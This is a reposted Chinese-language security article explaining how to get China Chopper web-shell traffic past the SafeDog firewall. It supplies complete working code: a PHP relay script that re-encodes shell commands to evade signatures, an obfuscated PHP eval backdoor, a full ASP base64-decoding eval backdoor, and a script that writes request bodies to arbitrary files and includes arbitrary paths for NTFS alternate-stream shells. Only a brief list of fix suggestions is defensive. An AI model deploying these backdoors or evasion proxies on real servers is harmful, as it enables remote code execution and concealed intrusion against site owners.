来源：自学PHP网 时间：2015-04-17 10:15 作者： 阅读:次
[导读] 0times;00 安全狗之菜刀的突破#原理：BAD: caidao - safedog -X- backdoorGOOD: caidao - middle - safedog - backdoor - middle - caidao菜刀发送的数据是会被安全狗拦截，因为菜刀的......
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0×00 安全狗之菜刀的突破
#原理：
BAD: caidao -> safedog -X-> backdoor
GOOD: caidao -> middle -> safedog -> backdoor -> middle -> caidao
菜刀发送的数据是会被安全狗拦截，因为菜刀的发的数据已被纳入安全狗的特征码内
但是如果我们在菜刀与狗之间放一个加密数据的脚本，将原数据进行修改加密，然后再通过脚本发送出去
类似为一个代理，发出去的数据流到安全狗，因为没有特征码了，数据流到服务器上的shell，shell把加密后的数据进行解密然后再执行，执行完后将数据返回给代理脚本，最终流回菜刀。
#代码
#middle.php
<?php
/*
* Author: Laterain
* Time: 20130821
* About: Middle monkey between the hacker and safedog.
* Just For Fun
*/
$url = isset($_GET['shell'])?$_GET['shell']:'';
$pass= isset($_GET['pass'])?$_GET['pass']:'';
$type= isset($_GET['type'])?$_GET['type']:'php';
if ($type == 'php') {
$shellcode = base64_encode('@eval(base64_decode($_POST[z0]));');
}
elseif ($type == 'asp') {
$shellcode = base64_encode($_POST[$pass]);
}
$shellcode = $pass.'='.urlencode($shellcode);
foreach ($_POST as $key => $value) {
if ($key == $pass) {
continue;
}
$shellcode .= '&'.$key.'='.urlencode($value);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $shellcode);
$data = curl_exec($ch);
curl_close($ch);
print_r($data);
?>
#php backdoor
<?php
$key = "hack";
preg_replace(base64_decode('L2EvZQ=='),base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFska2V5XSkp'),'a');
?>
#asp backdoor
<%
OPTION EXPLICIT
const BASE_64_MAP_INIT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
dim Base64EncMap(63)
dim Base64DecMap(127)
dim code
'初始化函数
PUBLIC SUB initCodecs()
' 初始化变量
dim max, idx
max = len(BASE_64_MAP_INIT)
for idx = 0 to max - 1
Base64EncMap(idx) = mid(BASE_64_MAP_INIT, idx + 1, 1)
next
for idx = 0 to max - 1
Base64DecMap(ASC(Base64EncMap(idx))) = idx
next
END SUB
'Base64加密函数
PUBLIC FUNCTION base64Encode(plain)
if len(plain) = 0 then
base64Encode = ""
exit function
end if
dim ret, ndx, by3, first, second, third
by3 = (len(plain) \ 3) * 3
ndx = 1
do while ndx <= by3
first = asc(mid(plain, ndx+0, 1))
second = asc(mid(plain, ndx+1, 1))
third = asc(mid(plain, ndx+2, 1))
ret = ret & Base64EncMap( (first \ 4) AND 63 )
ret = ret & Base64EncMap( ((first * 16) AND 48) + ((second \ 16) AND 15 ) )
ret = ret & Base64EncMap( ((second * 4) AND 60) + ((third \ 64) AND 3 ) )
ret = ret & Base64EncMap( third AND 63)
ndx = ndx + 3
loop
if by3 < len(plain) then
first = asc(mid(plain, ndx+0, 1))
ret = ret & Base64EncMap( (first \ 4) AND 63 )
if (len(plain) MOD 3 ) = 2 then
second = asc(mid(plain, ndx+1, 1))
ret = ret & Base64EncMap( ((first * 16) AND 48) + ((second \ 16) AND 15 ) )
ret = ret & Base64EncMap( ((second * 4) AND 60) )
else
ret = ret & Base64EncMap( (first * 16) AND 48)
ret = ret '& "="
end if
ret = ret '& "="
end if
base64Encode = ret
END FUNCTION
'Base64解密函数
PUBLIC FUNCTION base64Decode(scrambled)
if len(scrambled) = 0 then
base64Decode = ""
exit function
end if
dim realLen
realLen = len(scrambled)
do while mid(scrambled, realLen, 1) = "="
realLen = realLen - 1
loop
dim ret, ndx, by4, first, second, third, fourth
ret = ""
by4 = (realLen \ 4) * 4
ndx = 1
do while ndx <= by4
first = Base64DecMap(asc(mid(scrambled, ndx+0, 1)))
second = Base64DecMap(asc(mid(scrambled, ndx+1, 1)))
third = Base64DecMap(asc(mid(scrambled, ndx+2, 1)))
fourth = Base64DecMap(asc(mid(scrambled, ndx+3, 1)))
ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3))
ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15))
ret = ret & chr( ((third * 64) AND 255) + (fourth AND 63))
ndx = ndx + 4
loop
if ndx < realLen then
first = Base64DecMap(asc(mid(scrambled, ndx+0, 1)))
second = Base64DecMap(asc(mid(scrambled, ndx+1, 1)))
ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3))
if realLen MOD 4 = 3 then
third = Base64DecMap(asc(mid(scrambled,ndx+2,1)))
ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15))
end if
end if
base64Decode = ret
END FUNCTION
' 初始化
call initCodecs
code = request("hack")
code = base64Decode(code)
eval code
%>
0×01 安全狗之突破恶意代码拦截
原理：
php://input没有被检查，在这儿写恶意代码即可。
以ADS的方式上传了shell之后，包含即可。
base.php
<?php
if (isset($_GET['inc'])) {
include($_GET['inc']);
}
elseif (isset($_GET['path'])) {
fwrite(fopen($_GET['path'], "w"), file_get_contents("php://input"));
}
else {
echo __FILE__;
}
?>
#修复建议：
1.因为有了middle的任意加密混淆与backdoor的对应解密，安全狗官方应该也很难解决拦截菜刀数据的问题，但是可以从backdoor入手，加强对服务器后门的扫描探测能有效的防止这个问题。
2.通过包含来获取shell，这就只有加强特征码了。
3.无法发现ADS创建的后门的问题，我的想法是，服务器自身是不允许访问ads创建的文件的，只能通过包含来访问，那么可以将include，require等里面带:的归为危险文件。当然能直接发现更好。
4.php://input内容过滤
PS:本来以为php://input是我最先发现的，但是昨天看见某某在freebuf上提到了这个的利用，我就被打击了。。。于是就发出来吧。。。
作者：laterain form 90sec
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